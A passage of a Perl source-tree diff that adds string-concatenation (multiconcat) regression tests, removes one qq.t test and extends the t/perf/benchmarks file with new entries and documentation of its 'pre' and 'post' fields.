+    $pkg .= "-".$a1."-".$a2."-".$a3;
+    is($pkg, 'P-1-2-3', '$pkg .= "-".$a1."-".$a2."-".$a3');
+    $pkg = 'P';
+    $pkg .= $a1."-".$a2."-".$a3."-";
+    is($pkg, 'P1-2-3-', '$pkg .= $a1."-".$a2."-".$a3."-"');
+    $pkg = 'P';
+    $pkg .= "-".$a1."-".$a2."-".$a3."-";
+    is($pkg, 'P-1-2-3-', '$pkg .= "-".$a1."-".$a2."-".$a3."-"');
+    $pkg = 'P';
+    $pkg .= "$a1$a2$a3";
+    is($pkg, 'P123', '$pkg .= "$a1$a2$a3"');
+    $pkg = 'P';
+    $pkg .= "$a1-$a2-$a3";
+    is($pkg, 'P1-2-3', '$pkg .= "$a1-$a2-$a3"');
+    $pkg = 'P';
+    $pkg .= "-$a1-$a2-$a3";
+    is($pkg, 'P-1-2-3', '$pkg .= "-$a1-$a2-$a3"');
+    $pkg = 'P';
+    $pkg .= "$a1-$a2-$a3-";
+    is($pkg, 'P1-2-3-', '$pkg .= "$a1-$a2-$a3-"');
+    $pkg = 'P';
+    $pkg .= "-$a1-$a2-$a3-";
+    is($pkg, 'P-1-2-3-', '$pkg .= "-$a1-$a2-$a3-"');
+    $lex  = "-";
+    is($lex, '-', '$lex  = "-"');
+    $lex  = "-";
+    is($lex, '-', '$lex  = "-"');
+    $lex  = "-";
+    is($lex, '-', '$lex  = "-"');
+    $lex  = "-";
+    is($lex, '-', '$lex  = "-"');
+    $lex  = $a1;
+    is($lex, '1', '$lex  = $a1');
+    $lex  = "-".$a1;
+    is($lex, '-1', '$lex  = "-".$a1');
+    $lex  = $a1."-";
+    is($lex, '1-', '$lex  = $a1."-"');
+    $lex  = "-".$a1."-";
+    is($lex, '-1-', '$lex  = "-".$a1."-"');
+    $lex  = "$a1";
+    is($lex, '1', '$lex  = "$a1"');
+    $lex  = "-$a1";
+    is($lex, '-1', '$lex  = "-$a1"');
+    $lex  = "$a1-";
+    is($lex, '1-', '$lex  = "$a1-"');
+    $lex  = "-$a1-";
+    is($lex, '-1-', '$lex  = "-$a1-"');
+    $lex  = $a1.$a2;
+    is($lex, '12', '$lex  = $a1.$a2');
+    $lex  = $a1."-".$a2;
+    is($lex, '1-2', '$lex  = $a1."-".$a2');
+    $lex  = "-".$a1."-".$a2;
+    is($lex, '-1-2', '$lex  = "-".$a1."-".$a2');
+    $lex  = $a1."-".$a2."-";
+    is($lex, '1-2-', '$lex  = $a1."-".$a2."-"');
+    $lex  = "-".$a1."-".$a2."-";
+    is($lex, '-1-2-', '$lex  = "-".$a1."-".$a2."-"');
+    $lex  = "$a1$a2";
+    is($lex, '12', '$lex  = "$a1$a2"');
+    $lex  = "$a1-$a2";
+    is($lex, '1-2', '$lex  = "$a1-$a2"');
+    $lex  = "-$a1-$a2";
+    is($lex, '-1-2', '$lex  = "-$a1-$a2"');
+    $lex  = "$a1-$a2-";
+    is($lex, '1-2-', '$lex  = "$a1-$a2-"');
+    $lex  = "-$a1-$a2-";
+    is($lex, '-1-2-', '$lex  = "-$a1-$a2-"');
+    $lex  = $a1.$a2.$a3;
+    is($lex, '123', '$lex  = $a1.$a2.$a3');
+    $lex  = $a1."-".$a2."-".$a3;
+    is($lex, '1-2-3', '$lex  = $a1."-".$a2."-".$a3');
+    $lex  = "-".$a1."-".$a2."-".$a3;
+    is($lex, '-1-2-3', '$lex  = "-".$a1."-".$a2."-".$a3');
+    $lex  = $a1."-".$a2."-".$a3."-";
+    is($lex, '1-2-3-', '$lex  = $a1."-".$a2."-".$a3."-"');
+    $lex  = "-".$a1."-".$a2."-".$a3."-";
+    is($lex, '-1-2-3-', '$lex  = "-".$a1."-".$a2."-".$a3."-"');
+    $lex  = "$a1$a2$a3";
+    is($lex, '123', '$lex  = "$a1$a2$a3"');
+    $lex  = "$a1-$a2-$a3";
+    is($lex, '1-2-3', '$lex  = "$a1-$a2-$a3"');
+    $lex  = "-$a1-$a2-$a3";
+    is($lex, '-1-2-3', '$lex  = "-$a1-$a2-$a3"');
+    $lex  = "$a1-$a2-$a3-";
+    is($lex, '1-2-3-', '$lex  = "$a1-$a2-$a3-"');
+    $lex  = "-$a1-$a2-$a3-";
+    is($lex, '-1-2-3-', '$lex  = "-$a1-$a2-$a3-"');
+    $lex = 'L';
+    $lex .= "-";
+    is($lex, 'L-', '$lex .= "-"');
+    $lex = 'L';
+    $lex .= "-";
+    is($lex, 'L-', '$lex .= "-"');
+    $lex = 'L';
+    $lex .= "-";
+    is($lex, 'L-', '$lex .= "-"');
+    $lex = 'L';
+    $lex .= "-";
+    is($lex, 'L-', '$lex .= "-"');
+    $lex = 'L';
+    $lex .= $a1;
+    is($lex, 'L1', '$lex .= $a1');
+    $lex = 'L';
+    $lex .= "-".$a1;
+    is($lex, 'L-1', '$lex .= "-".$a1');
+    $lex = 'L';
+    $lex .= $a1."-";
+    is($lex, 'L1-', '$lex .= $a1."-"');
+    $lex = 'L';
+    $lex .= "-".$a1."-";
+    is($lex, 'L-1-', '$lex .= "-".$a1."-"');
+    $lex = 'L';
+    $lex .= "$a1";
+    is($lex, 'L1', '$lex .= "$a1"');
+    $lex = 'L';
+    $lex .= "-$a1";
+    is($lex, 'L-1', '$lex .= "-$a1"');
+    $lex = 'L';
+    $lex .= "$a1-";
+    is($lex, 'L1-', '$lex .= "$a1-"');
+    $lex = 'L';
+    $lex .= "-$a1-";
+    is($lex, 'L-1-', '$lex .= "-$a1-"');
+    $lex = 'L';
+    $lex .= $a1.$a2;
+    is($lex, 'L12', '$lex .= $a1.$a2');
+    $lex = 'L';
+    $lex .= $a1."-".$a2;
+    is($lex, 'L1-2', '$lex .= $a1."-".$a2');
+    $lex = 'L';
+    $lex .= "-".$a1."-".$a2;
+    is($lex, 'L-1-2', '$lex .= "-".$a1."-".$a2');
+    $lex = 'L';
+    $lex .= $a1."-".$a2."-";
+    is($lex, 'L1-2-', '$lex .= $a1."-".$a2."-"');
+    $lex = 'L';
+    $lex .= "-".$a1."-".$a2."-";
+    is($lex, 'L-1-2-', '$lex .= "-".$a1."-".$a2."-"');
+    $lex = 'L';
+    $lex .= "$a1$a2";
+    is($lex, 'L12', '$lex .= "$a1$a2"');
+    $lex = 'L';
+    $lex .= "$a1-$a2";
+    is($lex, 'L1-2', '$lex .= "$a1-$a2"');
+    $lex = 'L';
+    $lex .= "-$a1-$a2";
+    is($lex, 'L-1-2', '$lex .= "-$a1-$a2"');
+    $lex = 'L';
+    $lex .= "$a1-$a2-";
+    is($lex, 'L1-2-', '$lex .= "$a1-$a2-"');
+    $lex = 'L';
+    $lex .= "-$a1-$a2-";
+    is($lex, 'L-1-2-', '$lex .= "-$a1-$a2-"');
+    $lex = 'L';
+    $lex .= $a1.$a2.$a3;
+    is($lex, 'L123', '$lex .= $a1.$a2.$a3');
+    $lex = 'L';
+    $lex .= $a1."-".$a2."-".$a3;
+    is($lex, 'L1-2-3', '$lex .= $a1."-".$a2."-".$a3');
+    $lex = 'L';
+    $lex .= "-".$a1."-".$a2."-".$a3;
+    is($lex, 'L-1-2-3', '$lex .= "-".$a1."-".$a2."-".$a3');
+    $lex = 'L';
+    $lex .= $a1."-".$a2."-".$a3."-";
+    is($lex, 'L1-2-3-', '$lex .= $a1."-".$a2."-".$a3."-"');
+    $lex = 'L';
+    $lex .= "-".$a1."-".$a2."-".$a3."-";
+    is($lex, 'L-1-2-3-', '$lex .= "-".$a1."-".$a2."-".$a3."-"');
+    $lex = 'L';
+    $lex .= "$a1$a2$a3";
+    is($lex, 'L123', '$lex .= "$a1$a2$a3"');
+    $lex = 'L';
+    $lex .= "$a1-$a2-$a3";
+    is($lex, 'L1-2-3', '$lex .= "$a1-$a2-$a3"');
+    $lex = 'L';
+    $lex .= "-$a1-$a2-$a3";
+    is($lex, 'L-1-2-3', '$lex .= "-$a1-$a2-$a3"');
+    $lex = 'L';
+    $lex .= "$a1-$a2-$a3-";
+    is($lex, 'L1-2-3-', '$lex .= "$a1-$a2-$a3-"');
+    $lex = 'L';
+    $lex .= "-$a1-$a2-$a3-";
+    is($lex, 'L-1-2-3-', '$lex .= "-$a1-$a2-$a3-"');
+    {
+        my $l = "-";
+        is($l, '-', 'my $l = "-"');
+    }
+    {
+        my $l = "-";
+        is($l, '-', 'my $l = "-"');
+    }
+    {
+        my $l = "-";
+        is($l, '-', 'my $l = "-"');
+    }
+    {
+        my $l = "-";
+        is($l, '-', 'my $l = "-"');
+    }
+    {
+        my $l = $a1;
+        is($l, '1', 'my $l = $a1');
+    }
+    {
+        my $l = "-".$a1;
+        is($l, '-1', 'my $l = "-".$a1');
+    }
+    {
+        my $l = $a1."-";
+        is($l, '1-', 'my $l = $a1."-"');
+    }
+    {
+        my $l = "-".$a1."-";
+        is($l, '-1-', 'my $l = "-".$a1."-"');
+    }
+    {
+        my $l = "$a1";
+        is($l, '1', 'my $l = "$a1"');
+    }
+    {
+        my $l = "-$a1";
+        is($l, '-1', 'my $l = "-$a1"');
+    }
+    {
+        my $l = "$a1-";
+        is($l, '1-', 'my $l = "$a1-"');
+    }
+    {
+        my $l = "-$a1-";
+        is($l, '-1-', 'my $l = "-$a1-"');
+    }
+    {
+        my $l = $a1.$a2;
+        is($l, '12', 'my $l = $a1.$a2');
+    }
+    {
+        my $l = $a1."-".$a2;
+        is($l, '1-2', 'my $l = $a1."-".$a2');
+    }
+    {
+        my $l = "-".$a1."-".$a2;
+        is($l, '-1-2', 'my $l = "-".$a1."-".$a2');
+    }
+    {
+        my $l = $a1."-".$a2."-";
+        is($l, '1-2-', 'my $l = $a1."-".$a2."-"');
+    }
+    {
+        my $l = "-".$a1."-".$a2."-";
+        is($l, '-1-2-', 'my $l = "-".$a1."-".$a2."-"');
+    }
+    {
+        my $l = "$a1$a2";
+        is($l, '12', 'my $l = "$a1$a2"');
+    }
+    {
+        my $l = "$a1-$a2";
+        is($l, '1-2', 'my $l = "$a1-$a2"');
+    }
+    {
+        my $l = "-$a1-$a2";
+        is($l, '-1-2', 'my $l = "-$a1-$a2"');
+    }
+    {
+        my $l = "$a1-$a2-";
+        is($l, '1-2-', 'my $l = "$a1-$a2-"');
+    }
+    {
+        my $l = "-$a1-$a2-";
+        is($l, '-1-2-', 'my $l = "-$a1-$a2-"');
+    }
+    {
+        my $l = $a1.$a2.$a3;
+        is($l, '123', 'my $l = $a1.$a2.$a3');
+    }
+    {
+        my $l = $a1."-".$a2."-".$a3;
+        is($l, '1-2-3', 'my $l = $a1."-".$a2."-".$a3');
+    }
+    {
+        my $l = "-".$a1."-".$a2."-".$a3;
+        is($l, '-1-2-3', 'my $l = "-".$a1."-".$a2."-".$a3');
+    }
+    {
+        my $l = $a1."-".$a2."-".$a3."-";
+        is($l, '1-2-3-', 'my $l = $a1."-".$a2."-".$a3."-"');
+    }
+    {
+        my $l = "-".$a1."-".$a2."-".$a3."-";
+        is($l, '-1-2-3-', 'my $l = "-".$a1."-".$a2."-".$a3."-"');
+    }
+    {
+        my $l = "$a1$a2$a3";
+        is($l, '123', 'my $l = "$a1$a2$a3"');
+    }
+    {
+        my $l = "$a1-$a2-$a3";
+        is($l, '1-2-3', 'my $l = "$a1-$a2-$a3"');
+    }
+    {
+        my $l = "-$a1-$a2-$a3";
+        is($l, '-1-2-3', 'my $l = "-$a1-$a2-$a3"');
+    }
+    {
+        my $l = "$a1-$a2-$a3-";
+        is($l, '1-2-3-', 'my $l = "$a1-$a2-$a3-"');
+    }
+    {
+        my $l = "-$a1-$a2-$a3-";
+        is($l, '-1-2-3-', 'my $l = "-$a1-$a2-$a3-"');
+    }
+}
+
+# multiconcat optimises away scalar assign, and is responsible
+# for handling the assign itself. If the LHS is something weird,
+# make sure it's handled ok
+
+{
+    my $a = 'a';
+    my $b = 'b';
+    my $o = 'o';
+
+    my $re = qr/abc/;
+    $$re = $a . $b;
+    is($$re, "ab", '$$re = $a . $b');
+
+    #passing a hash elem to a sub creates a PVLV
+    my $s = sub { $_[0] = $a . $b; };
+    my %h;
+    $s->($h{foo});
+    is($h{foo}, "ab", "PVLV");
+
+    # assigning a string to a typeglob creates an alias
+    $Foo = 'myfoo';
+    *Bar = ("F" . $o . $o);
+    is($Bar, "myfoo", '*Bar = "Foo"');
+
+    # while that same typeglob also appearing on the RHS returns
+    # a stringified value
+
+    package QPR {
+        ${'*QPR::Bar*QPR::BarBaz'} = 'myfoobarbaz';
+        *Bar = (*Bar  . *Bar . "Baz");
+        ::is($Bar, "myfoobarbaz", '*Bar =  (*Bar  . *Bar . "Baz")');
+    }
+}
+
+# distinguish between '=' and  '.=' where the LHS has the OPf_MOD flag
+
+{
+    my $foo = "foo";
+    my $a . $foo; # weird but legal
+    is($a, '', 'my $a . $foo');
+    my $b; $b .= $foo;
+    is($b, 'foo', 'my $b; $b .= $foo');
+}
+
+# distinguish between nested appends and concats; the former is
+# affected by the change of value of the target on each concat.
+# This is why multiconcat shouldn't be used in that case
+
+{
+    my $a = "a";
+    (($a .= $a) .= $a) .= $a;
+    is($a, "aaaaaaaa", '(($a .= $a) .= $a) .= $a;');
+}
+
+# check everything works ok near the max arg size of a multiconcat
+
+{
+    my @a = map "<$_>", 0..99;
+    for my $i (60..68) { # check each side of 64 threshold
+        my $c = join '.', map "\$a[$_]", 0..$i;
+        my $got = eval $c or die $@;
+        my $empty = ''; # don't use a const string in case join'' ever
+                        # gets optimised into a multiconcat
+        my $expected = join $empty, @a[0..$i];
+        is($got, $expected, "long concat chain $i");
+    }
+}
+
+# RT #132646
+# with adjacent consts, the second const is treated as an arg rather than a
+# consts. Make sure this doesn't exceeed the maximum allowed number of
+# args
+{
+    my $x = 'X';
+    my $got =
+          'A' . $x . 'B' . 'C' . $x . 'D'
+        . 'A' . $x . 'B' . 'C' . $x . 'D'
+        . 'A' . $x . 'B' . 'C' . $x . 'D'
+        . 'A' . $x . 'B' . 'C' . $x . 'D'
+        . 'A' . $x . 'B' . 'C' . $x . 'D'
+        . 'A' . $x . 'B' . 'C' . $x . 'D'
+        . 'A' . $x . 'B' . 'C' . $x . 'D'
+        . 'A' . $x . 'B' . 'C' . $x . 'D'
+        . 'A' . $x . 'B' . 'C' . $x . 'D'
+        . 'A' . $x . 'B' . 'C' . $x . 'D'
+        . 'A' . $x . 'B' . 'C' . $x . 'D'
+        . 'A' . $x . 'B' . 'C' . $x . 'D'
+        . 'A' . $x . 'B' . 'C' . $x . 'D'
+        . 'A' . $x . 'B' . 'C' . $x . 'D'
+        . 'A' . $x . 'B' . 'C' . $x . 'D'
+        . 'A' . $x . 'B' . 'C' . $x . 'D'
+        . 'A' . $x . 'B' . 'C' . $x . 'D'
+        ;
+    is ($got,
+        "AXBCXDAXBCXDAXBCXDAXBCXDAXBCXDAXBCXDAXBCXDAXBCXDAXBCXDAXBCXDAXBCXDAXBCXDAXBCXDAXBCXDAXBCXDAXBCXDAXBCXD",
+        "RT #132646");
+}
+
+# RT #132595
+# multiconcat shouldn't affect the order of arg evaluation
+package RT132595 {
+    my $a = "a";
+    my $i = 0;
+    sub TIESCALAR { bless({}, $_[0]) }
+    sub FETCH { ++$i; $a = "b".$i; "c".$i }
+    my $t;
+    tie $t, "RT132595";
+    my $res = $a.$t.$a.$t;
+    ::is($res, "b1c1b1c2", "RT #132595");
+}

Modified: vendor/perl/dist/t/opbasic/qq.t
===================================================================
--- vendor/perl/dist/t/opbasic/qq.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/opbasic/qq.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,7 +8,7 @@
 # This file uses a specially crafted is() function rather than that found in
 # t/test.pl or Test::More.  Hence, we place this file in directory t/opbasic.
 
-print q(1..29
+print q(1..28
 );
 
 # This is() function is written to avoid ""
@@ -71,11 +71,6 @@
 is ("a\o{400}b", "a" . chr(0x100) . "b");
 is ("a\o{1000}b", "a" . chr(0x200) . "b");
 
-# This caused a memory fault
-no warnings "utf8";
-no warnings 'deprecated'; # This is above IV_MAX on 32 bit machines
-is ("abc", eval qq[qq\x{8000_0000}abc\x{8000_0000}]);
-
 # Maybe \x{} should be an error, but if not it should certainly mean \x{0}
 # rather than anything else.
 is ("\x{}", chr(0));

Modified: vendor/perl/dist/t/perf/benchmarks
===================================================================
--- vendor/perl/dist/t/perf/benchmarks	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/perf/benchmarks	2018-12-22 22:55:19 UTC (rev 12126)
@@ -39,16 +39,25 @@
 #     string::   string handling
 #
 #
-# Each hash has three fields:
+# Each hash has up to five fields:
 #
-#   desc is a description of the test
-#   setup is a string containing setup code
+#   desc  is a description of the test; if not present, it defaults
+#           to the same value as the 'code' field
+#
+#   setup is an optional string containing setup code that is run once
+#
 #   code  is a string containing the code to run in a loop
 #
-# So typically a benchmark tool might do something like
+#   pre   is an optional string containing setup code which is executed
+#         just before 'code' for every iteration, but whose execution
+#         time is not included in the result
 #
-#   eval "package $token; $setup; for (1..1000000) { $code }"
+#   post  like pre, but executed just after 'code'.
 #
+# So typically a benchmark tool might execute variations on something like
+#
+#   eval "package $name; $setup; for (1..1000000) { $pre; $code; $post }"
+#
 # Currently the only tool that uses this file is Porting/bench.pl;
 # try C<perl Porting/bench.pl --help> for more info
 #
@@ -57,7 +66,9 @@
 # Note: for the cachegrind variant, an entry like
 #    'foo::bar' => {
 #     setup   => 'SETUP',
+#     pre     => 'PRE',
 #     code    => 'CODE',
+#     post    => 'POST',
 #   }
 # creates two temporary perl sources looking like:
 #
@@ -65,12 +76,12 @@
 #        BEGIN { srand(0) }
 #        SETUP;
 #        for my $__loop__ (1..$ARGV[0]) {
-#            1;
+#            PRE; 1; POST;
 #        }
 #
-# and as above, but with the '1;' in the loop  body replaced with:
+# and as above, but with the loop body replaced with:
 #
-#            CODE;
+#            PRE; CODE; POST;
 #
 # It then pipes each of the two sources into
 #
@@ -79,11 +90,25 @@
 # where N is set to 10 and then 20.
 #
 # It then uses the result of those four cachegrind runs to subtract out
-# the perl startup and loop overheads. So only what's in SETUP and CODE
-# can affect the benchmark, and if the loop happens to leave some state
-# changed (such as storing a value in a hash), then the final benchmark
-# timing is the result of running CODE with the hash entry populated
-# rather than empty.
+# the perl startup and loop overheads (including SETUP, PRE and POST), leaving
+# (in theory only CODE);
+#
+# Note that misleading results may be obtained if each iteration is
+# not identical. For example with
+#
+#     code => '$x .= "foo"',
+#
+# the string $x gets longer on each iteration. Similarly, a hash might be
+# empty on the first iteration, but have entries on subsequent iterations.
+#
+# To avoid this, use 'pre' or 'post', e.g.
+#
+#     pre  => '$x  = ""',
+#     code => '$x .= "foo"',
+#
+# Finally, the optional 'compile' key causes the code body to be wrapped
+# in eval qw{ sub { ... }}, so that compile time rather than execution
+# time is measured.
 
 
 [
@@ -218,6 +243,46 @@
         code    => '($r||0)->[0][0][0]',
     },
 
+    'expr::array::lex_bool_empty' => {
+        desc    => 'empty lexical array in boolean context',
+        setup   => 'my @a;',
+        code    => '!@a',
+    },
+    'expr::array::lex_bool_full' => {
+        desc    => 'non-empty lexical array in boolean context',
+        setup   => 'my @a = 1..10;',
+        code    => '!@a',
+    },
+    'expr::array::lex_scalar_empty' => {
+        desc    => 'empty lexical array in scalar context',
+        setup   => 'my (@a, $i);',
+        code    => '$i = @a',
+    },
+    'expr::array::lex_scalar_full' => {
+        desc    => 'non-empty lexical array in scalar context',
+        setup   => 'my @a = 1..10; my $i',
+        code    => '$i = @a',
+    },
+    'expr::array::pkg_bool_empty' => {
+        desc    => 'empty lexical array in boolean context',
+        setup   => 'our @a;',
+        code    => '!@a',
+    },
+    'expr::array::pkg_bool_full' => {
+        desc    => 'non-empty lexical array in boolean context',
+        setup   => 'our @a = 1..10;',
+        code    => '!@a',
+    },
+    'expr::array::pkg_scalar_empty' => {
+        desc    => 'empty lexical array in scalar context',
+        setup   => 'our @a; my $i;',
+        code    => '$i = @a',
+    },
+    'expr::array::pkg_scalar_full' => {
+        desc    => 'non-empty lexical array in scalar context',
+        setup   => 'our @a = 1..10; my $i',
+        code    => '$i = @a',
+    },
 
     'expr::arrayhash::lex_3var' => {
         desc    => 'lexical $h{$k1}[$i]{$k2}',
@@ -306,6 +371,11 @@
         setup   => 'my %h;',
         code    => '!%h',
     },
+    'expr::hash::bool_empty_unknown' => {
+        desc    => 'empty lexical hash in unknown context',
+        setup   => 'my ($i, %h); sub f { if (%h) { $i++ }}',
+        code    => 'f()',
+    },
     'expr::hash::bool_full' => {
         desc    => 'non-empty lexical hash in boolean context',
         setup   => 'my %h = 1..10;',
@@ -604,7 +674,15 @@
         code    => '($x,$y,$z) = @_',
     },
 
+    # (....) = %lexical
 
+    'expr::aassign::ma_lh' => {
+        desc    => 'my array assigned lexical hash',
+        setup   => 'my %h = qw(aardvark 1 banana 2 cucumber 3)',
+        code    => 'my @a = %h',
+    },
+
+
     # (....) = ($lex1,$lex2,$lex3);
 
     'expr::aassign::ma_3l' => {
@@ -788,6 +866,17 @@
         code    => '($r1, $r2) = ([], []);',
     },
 
+    'expr::aassign::boolean' => {
+        desc    => '!(@a = @b)',
+        setup   => 'my ($s, at a, @b); @b = (1,2)',
+        code    => '!(@a = @b);',
+    },
+    'expr::aassign::scalar' => {
+        desc    => '$scalar = (@a = @b)',
+        setup   => 'my ($s, @a, @b); @b = (1,2)',
+        code    => '$s = (@a = @b);',
+    },
+
     # array assign of strings
 
     'expr::aassign::la_3s' => {
@@ -939,13 +1028,59 @@
         code    => '$z = $x * $y',
     },
 
+    # use '!' to test SvTRUE on various classes of value
+
+    'expr::arith::not_PL_undef' => {
+        desc    => '!undef (using PL_sv_undef)',
+        setup   => 'my $x',
+        code    => '$x = !undef',
+    },
+    'expr::arith::not_PL_no' => {
+        desc    => '!($x == $y) (using PL_sv_no)',
+        setup   => 'my ($x, $y) = (1,2); my $z;',
+        code    => '$z = !($x == $y)',
+    },
+    'expr::arith::not_PL_zero' => {
+        desc    => '!%h (using PL_sv_zero)',
+        setup   => 'my ($x, %h)',
+        code    => '$x = !%h',
+    },
+    'expr::arith::not_PL_yes' => {
+        desc    => '!($x == $y) (using PL_sv_yes)',
+        setup   => 'my ($x, $y) = (1,1); my $z;',
+        code    => '$z = !($x == $y)',
+    },
+    'expr::arith::not_undef' => {
+        desc    => '!$y where $y is undef',
+        setup   => 'my ($x, $y)',
+        code    => '$x = !$y',
+    },
+    'expr::arith::not_0' => {
+        desc    => '!$x where $x is 0',
+        setup   => 'my ($x, $y) = (0, 0)',
+        code    => '$y = !$x',
+    },
+    'expr::arith::not_1' => {
+        desc    => '!$x where $x is 1',
+        setup   => 'my ($x, $y) = (1, 0)',
+        code    => '$y = !$x',
+    },
+    'expr::arith::not_string' => {
+        desc    => '!$x where $x is "foo"',
+        setup   => 'my ($x, $y) = ("foo", 0)',
+        code    => '$y = !$x',
+    },
+    'expr::arith::not_ref' => {
+        desc    => '!$x where $s is an array ref',
+        setup   => 'my ($x, $y) = ([], 0)',
+        code    => '$y = !$x',
+    },
+
     'expr::arith::preinc' => {
-        desc    => '++$x',
         setup   => 'my $x = 1;',
         code    => '++$x',
     },
     'expr::arith::predec' => {
-        desc    => '--$x',
         setup   => 'my $x = 1;',
         code    => '--$x',
     },
@@ -961,10 +1096,257 @@
     },
 
 
+    # concatenation; quite possibly optimised to OP_MULTICONCAT
 
+    'expr::concat::cl' => {
+        setup   => 'my $lex = "abcd"',
+        code    => '"foo" . $lex',
+    },
+    'expr::concat::lc' => {
+        setup   => 'my $lex = "abcd"',
+        code    => '$lex . "foo"',
+    },
+    'expr::concat::ll' => {
+        setup   => 'my $lex1 = "abcd";  my $lex2 = "wxyz"',
+        code    => '$lex1 . $lex2',
+    },
+
+    'expr::concat::l_append_c' => {
+        setup   => 'my $lex',
+        pre     => '$lex = "abcd"',
+        code    => '$lex .= "foo"',
+    },
+    'expr::concat::l_append_l' => {
+        setup   => 'my $lex1;  my $lex2 = "wxyz"',
+        pre     => '$lex1 = "abcd"',
+        code    => '$lex1 .= $lex2',
+    },
+    'expr::concat::l_append_ll' => {
+        setup   => 'my $lex1; my $lex2 = "pqrs"; my $lex3 = "wxyz"',
+        pre     => '$lex1 = "abcd"',
+        code    => '$lex1 .= $lex2 . $lex3',
+    },
+    'expr::concat::l_append_clclc' => {
+        setup   => 'my $lex1; my $lex2 = "pqrs"; my $lex3 = "wxyz"',
+        pre     => '$lex1 = "abcd"',
+        code    => '$lex1 .= "-foo-$lex2-foo-$lex3-foo"',
+    },
+    'expr::concat::l_append_lll' => {
+        setup   => 'my $lex1; my ($lex2, $lex3, $lex4) = qw(pqrs wxyz 1234)',
+        pre     => '$lex1 = "abcd"',
+        code    => '$lex1 .= $lex2 . $lex3 . $lex4',
+    },
+
+    'expr::concat::m_ll' => {
+        setup   => 'my $lex1 = "abcd";  my $lex2 = "wxyz"',
+        code    => 'my $lex = $lex1 . $lex2',
+    },
+    'expr::concat::m_lll' => {
+        setup   => 'my $lex1 = "abcd"; my $lex2 = "pqrs"; my $lex3 = "wxyz"',
+        code    => 'my $lex = $lex1 . $lex2 . $lex3',
+    },
+    'expr::concat::m_cl' => {
+        setup   => 'my $lex1 = "abcd"',
+        code    => 'my $lex = "const$lex1"',
+    },
+    'expr::concat::m_clclc' => {
+        setup   => 'my $lex1 = "abcd"; my $lex2 = "wxyz"',
+        code    => 'my $lex = "foo=$lex1 bar=$lex2\n"',
+    },
+    'expr::concat::m_clclc_long' => {
+        desc    => 'my $lex = "foooooooooo=$lex1 baaaaaaaaar=$lex2\n" where lex1/2 are 400 chars',
+        setup   => 'my $lex1 = "abcd" x 100; my $lex2 = "wxyz" x 100',
+        code    => 'my $lex = "foooooooooo=$lex1 baaaaaaaaar=$lex2\n"',
+    },
+
+    'expr::concat::l_ll' => {
+        setup   => 'my $lex; my $lex1 = "abcd";  my $lex2 = "wxyz"',
+        code    => '$lex = $lex1 . $lex2',
+    },
+    'expr::concat::l_ll_ldup' => {
+        setup   => 'my $lex1; my $lex2 = "wxyz"',
+        pre     => '$lex1 = "abcd"',
+        code    => '$lex1 = $lex1 . $lex2',
+    },
+    'expr::concat::l_ll_rdup' => {
+        setup   => 'my $lex1; my $lex2 = "wxyz"',
+        pre     => '$lex1 = "abcd"',
+        code    => '$lex1 = $lex2 . $lex1',
+    },
+    'expr::concat::l_ll_lrdup' => {
+        setup   => 'my $lex1',
+        pre     => '$lex1 = "abcd"',
+        code    => '$lex1 = $lex1 . $lex1',
+    },
+    'expr::concat::l_lll' => {
+        setup   => 'my $lex; my $lex1 = "abcd"; my $lex2 = "pqrs"; my $lex3 = "wxyz"',
+        code    => '$lex = $lex1 . $lex2 . $lex3',
+    },
+    'expr::concat::l_lllll' => {
+        setup   => 'my $lex; my $lex1 = "abcd"; my $lex2 = "pqrs"; my $lex3 = "wxyz"; my $lex4 = "the quick brown fox"; my $lex5 = "to be, or not to be..."',
+        code    => '$lex = $lex1 . $lex2 . $lex3 . $lex4 . $lex5',
+    },
+    'expr::concat::l_cl' => {
+        setup   => 'my $lex; my $lex1 = "abcd"',
+        code    => '$lex = "const$lex1"',
+    },
+    'expr::concat::l_clclc' => {
+        setup   => 'my $lex; my $lex1 = "abcd"; my $lex2 = "wxyz"',
+        code    => '$lex = "foo=$lex1 bar=$lex2\n"',
+    },
+    'expr::concat::l_clclc_long' => {
+        desc    => '$lex = "foooooooooo=$lex1 baaaaaaaaar=$lex2\n" where lex1/2 are 400 chars',
+        setup   => 'my $lex; my $lex1 = "abcd" x 100; my $lex2 = "wxyz" x 100',
+        code    => '$lex = "foooooooooo=$lex1 baaaaaaaaar=$lex2\n"',
+    },
+    'expr::concat::l_clclclclclc' => {
+        setup   => 'my $lex; my $lex1 = "abcd"; my $lex2 = "pqrs"; my $lex3 = "the quick brown fox"; my $lex4 = "to be, or not to be..."',
+        code    => '$lex = "foo1=$lex1 foo2=$lex2 foo3=$lex3 foo4=$lex4\n"',
+    },
+
+    'expr::concat::g_append_c' => {
+        setup   => 'our $pkg',
+        pre     => '$pkg = "abcd"',
+        code    => '$pkg .= "foo"',
+    },
+    'expr::concat::g_append_l' => {
+        setup   => 'our $pkg;  my $lex1 = "wxyz"',
+        pre     => '$pkg = "abcd"',
+        code    => '$pkg .= $lex1',
+    },
+    'expr::concat::g_append_ll' => {
+        setup   => 'our $pkg; my $lex1 = "pqrs"; my $lex2 = "wxyz"',
+        pre     => '$pkg = "abcd"',
+        code    => '$pkg .= $lex1 . $lex2',
+    },
+    'expr::concat::g_append_clclc' => {
+        setup   => 'our $pkg; my $lex1 = "pqrs"; my $lex2 = "wxyz"',
+        pre     => '$pkg = "abcd"',
+        code    => '$pkg .= "-foo-$lex1-foo-$lex2-foo-"',
+    },
+
+    'expr::concat::g_ll' => {
+        setup   => 'our $pkg; my $lex1 = "abcd";  my $lex2 = "wxyz"',
+        code    => '$pkg = $lex1 . $lex2',
+    },
+    'expr::concat::g_gl_ldup' => {
+        setup   => 'our $pkg;  my $lex2 = "wxyz"',
+        pre     => '$pkg = "abcd"',
+        code    => '$pkg = $pkg . $lex2',
+    },
+    'expr::concat::g_lg_rdup' => {
+        setup   => 'our $pkg;  my $lex1 = "wxyz"',
+        pre     => '$pkg = "abcd"',
+        code    => '$pkg = $lex1 . $pkg',
+    },
+    'expr::concat::g_gg_lrdup' => {
+        setup   => 'our $pkg',
+        pre     => '$pkg = "abcd"',
+        code    => '$pkg = $pkg . $pkg',
+    },
+    'expr::concat::g_lll' => {
+        setup   => 'our $pkg; my $lex1 = "abcd"; my $lex2 = "pqrs"; my $lex3 = "wxyz"',
+        code    => '$pkg = $lex1 . $lex2 . $lex3',
+    },
+    'expr::concat::g_cl' => {
+        setup   => 'our $pkg; my $lex1 = "abcd"',
+        code    => '$pkg = "const$lex1"',
+    },
